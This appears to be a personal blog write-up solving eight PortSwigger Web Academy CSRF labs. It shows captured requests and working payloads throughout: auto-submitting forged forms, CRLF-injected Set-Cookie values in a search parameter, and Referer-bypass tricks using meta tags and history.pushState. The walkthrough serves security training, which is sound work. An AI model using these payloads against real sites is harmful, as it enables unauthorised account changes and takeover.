Home (Portswigger/WebAcademy) - Cross-Site Request Forgery (CSRF)
Post
Cancel

(Portswigger/WebAcademy) - Cross-Site Request Forgery (CSRF)

Intro

This post/writeup is all about the Cross-Site Request Forgery.

I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.

To learn more on the topic, please visit the article linked above at Portswigger’s.

TOC

CSRF vulnerability with no defenses

This lab’s email change functionality is vulnerable to CSRF.

To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address and upload it to your exploit server.

You can log in to your own account using the following credentials: wiener:peter

This is how the lab’s web page looks like. It’s a blog but with logon option. Keep in mind that in this lab, delivering the payload to victim is done simply by clicking the button. We’re dealing with exploiting CSRF only!

picture 1

Let’s login using provided credentials wiener:peter.

picture 2

We can change the email and send check the request in Burp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /my-account/change-email HTTP/1.1
Host: 0ab500a404d955f1c21131ce00500007.web-security-academy.net
Cookie: session=xFmhDnag2IDZr2PCyqFS0gyunrHVTtkp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: https://0ab500a404d955f1c21131ce00500007.web-security-academy.net
Referer: https://0ab500a404d955f1c21131ce00500007.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

email=hey%40normal-user.net

As a login user we have a session token. SameSite attribute is not being used!

This is the template that i’ll use for this lab. It’s a simple form that changes the email to something else.

1
2
3
4
5
6
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything@web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>

picture 3

We now simply click on Deliver exploit to victim and in the background, the email of wiener’s should have been changed. We can check access log if the form has been visited by a victim.

It should be clear by now that having no CSRF defenses is not a good idea!

CSRF where token validation depends on request method

This lab’s email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Page looks indentical as seen above. We can login using wiener:peter and change an email. This is captured request (I’ve deleted few non-relevant headers):

1
2
3
4
5
6
7
8
9
10
POST /my-account/change-email HTTP/1.1
Host: 0ad9005c03111f09c097041f00bf0010.web-security-academy.net
Cookie: session=8gJDTnMZWjsviceaBy16qVHSXfaqLOZf
...
Origin: https://0ad9005c03111f09c097041f00bf0010.web-security-academy.net
Referer: https://0ad9005c03111f09c097041f00bf0010.web-security-academy.net/my-account
...
Connection: close

email=asd%40normal-user.net&csrf=ZsSzUXhTgY9TZ3c6GZeavES14EQDiDAr

I’ll send request to Responder and try with same CSRF token and without. I can change the email again using same token.

If i remove the csrf= parameter and/or it’s value i’d see "Missing parameter 'csrf'".

What if we send GET request instead?

picture 4

Yep, that’ll work and CSRF token won’t get checked.

Following Payload can be applied which will cause GET request to be sent from the victim

1
2
3
4
5
6
<form action="https://0ae500a50484da0fc20b17a4007600fe.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything@web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>

CSRF where token validation depends on token being present

This lab’s email change functionality is vulnerable to CSRF.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Only difference here compatered to previous labs is that when we remove csrf token entirely, we’ll be able to change the email.

CSRF token will not be checked if not present in the request.

In order to solve the lab, we have to login, change the email, capture that request and remove the CSRF parameter from the POST request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /my-account/change-email HTTP/1.1
Host: 0a4a002e04958d54c160c28800b500a0.web-security-academy.net
Cookie: session=Uj3Z174TrfQHhs4Ba9POcmOSyE8htiUX
...
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://0a4a002e04958d54c160c28800b500a0.web-security-academy.net
Referer: https://0a4a002e04958d54c160c28800b500a0.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
...
Te: trailers
Connection: close

email=asdd%40normal-user.net

This is what we’ll deliver to the victim using Deliver exploit to victim button on our exploit server.

1
2
3
4
5
6
<form method="POST" action="https://0a4a002e04958d54c160c28800b500a0.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything@web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>

CSRF where token is not tied to user session

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t integrated into the site’s session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

  • wiener:peter
  • carlos:montoya

In this lab we’ll login as wiener and carlos (two different browsers or using incognito mode) and we’ll try to swap the CSRF tokens and check if they’re bound to user or not. If not, we can just send our CSRF token to victim and email change should work.

picture 5

Success. Only thing that we have to pay attention to is that CSRF token can be used only once!

Let’s deliver the payload to the victim.

We have to refresh the page and use the fresh, unused token, or change the email using wiener or carlos and intercept the request, grab the token and drop the request afterwards.

1
2
3
4
5
6
7
8
<form method="POST" action="https://0a9300a403fc868dc0d03bd1009d007c.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything@web-security-academy.net">
<input type="hidden" name="csrf" value="zQwm5Fz16qcy4aZ80oCSRagNpkNYVnCT">

</form>
<script>
        document.forms[0].submit();
</script>

Lab has been solved.

CSRF where token is tied to non-session cookie

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

  • wiener:peter
  • carlos:montoya

This problem where token is tied to a non-session cookie might happen when the web app deploys two different frameworks which don’t interact efficently with each other - in regards of CSRF.

If we use wiener for testing and take csrfKey and csrf parameter from carlos, we’ll bypass CSRF protection succesfully.

picture 6

Now how we can deliver that?

This lab acts weird when we start search like this

1
/?search=test%0d%0aSet-Cookie:%20csrfKey=wqVM7TKrfyTIhKMenMYcMc96RGP6DX6v%3b%20SameSite=None

Server responds with

1
2
3
4
5
6
HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=test
Set-Cookie: csrfKey=wqVM7TKrfyTIhKMenMYcMc96RGP6DX6v; SameSite=None; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 3215

We can send a csrfKey, or better said, reflect it to the victim.

I’ll use payload that was proposed in solution as well. We have to ditch the script and rather use img tag instead, to make reflection work!

1
2
3
4
5
6
<form method="POST" action="https://0a5300d20416d3fcc016e18b001800a7.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything@web-security-academy.net">
<input type="hidden" name="csrf" value="N1emx758Z7WvJCyVpuDvJIDd1Gtl3D9Q">

</form>
<img src="https://0a5300d20416d3fcc016e18b001800a7.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=y8QhVUO6h50Ing529s6rMEqhS1ySAAqn%3b%20SameSite=None" onerror="document.forms[0].submit()">

CSRF where token is duplicated in cookie

This lab’s email change functionality is vulnerable to CSRF. It attempts to use the insecure “double submit” CSRF prevention technique.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

In this lab we have the same values in the cookia an in the request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /my-account/change-email HTTP/1.1
Host: 0aef0089046807e7c06dccfb00dc00ae.web-security-academy.net
Cookie: csrf=H2kkj4Hk3A1z3sdIS5z3etffUqbplagI; session=8wqk16y4qG1WBQSFCiq0Oz0vOq259TJ1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Origin: https://0aef0089046807e7c06dccfb00dc00ae.web-security-academy.net
Referer: https://0aef0089046807e7c06dccfb00dc00ae.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
...
Te: trailers
Connection: close

email=asd%40normal-user.net&csrf=H2kkj4Hk3A1z3sdIS5z3etffUqbplagI

If we send request to search endpoint which is known to set cookie for the lastSearch, but we can add csrf cookie as well!

1
/?search=test%0d%0aSet-Cookie:%20csrf=spoof 

and response:

1
2
3
HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=test
Set-Cookie: csrf=spoof; Secure; HttpOnly

CSRF token is set to our spoofed value and it stays the same.

picture 7

We can deliver similar payload as in previous lab

1
2
3
4
5
6
7
<form method="POST" action="https://0aef0089046807e7c06dccfb00dc00ae.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything@web-security-academy.net">
<input type="hidden" name="csrf" value="spoof">

</form>

<img src="https://0aef0089046807e7c06dccfb00dc00ae.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=spoof%3b%20SameSite=None" onerror="document.forms[0].submit();"/>

CSRF where Referer validation depends on header being present

This lab’s email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

In this lab we’re supposed to change the email from the victim. If we log in we and change the email, request will be send like this (I’ve removed some irelevant headers):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /my-account/change-email HTTP/1.1
Host: 0acc007a0407b9cdc0166311009f004e.web-security-academy.net
Cookie: session=XQrmFJwOd7sZAGjGr6IlA7Uxx149kezF
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://0acc007a0407b9cdc0166311009f004e.web-security-academy.net
Referer: https://0acc007a0407b9cdc0166311009f004e.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
...
Pragma: no-cache
Cache-Control: no-cache
Te: trailers
Connection: close

email=asdd%40normal-user.net

Email will be changed, if we however change referrer to our exploit address, we’ll see Invalid referer header. If we remove referrer header entirely, we’ll be able to change the email again.

We can deliver payload as we’ve done it before, just this time by using <meta name="referrer" content="no-referrer"> which won’t forward the header to the web server in the CSRF request.

1
2
3
4
5
6
<meta name="referrer" content="no-referrer">
<form method="POST" action="https://0acc007a0407b9cdc0166311009f004e.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything@web-security-academy.net">
</form>

<img src=x onerror="document.forms[0].submit();"/>

CSRF with broken Referer validation

This lab’s email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

This lab looks like the previous ones. We login using provided credentials wiener:peter and change the email and send this change request to repeater.

After fiddling with the Referrer header, request will be accepted if it contains the URL. If i use URL from exploit server, request won’t be accepted anymore.

Problem arises how to spoof referrer header using reflection in victims browser.

This is one of the ways how the labs can be done.

1
2
3
4
5
6
7
8
9
<meta name="referrer" content="unsafe-url">
<script>
history.pushState("", "", "/?c=https://0ab4007d03078aecc0dab49e00b000a3.web-security-academy.net/my-account")
</script>
<form method="POST" action="https://0ab4007d03078aecc0dab49e00b000a3.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything@web-security-academy.net">
</form>

<img src=x  onerror="document.forms[0].submit();"/>

Mind the Referrer using unsafe-url and history.pushState!

All the labs look opticaly the same so i didn’t make that many screenshots, so appologies for that!

This post is licensed under CC BY 4.0 by the author.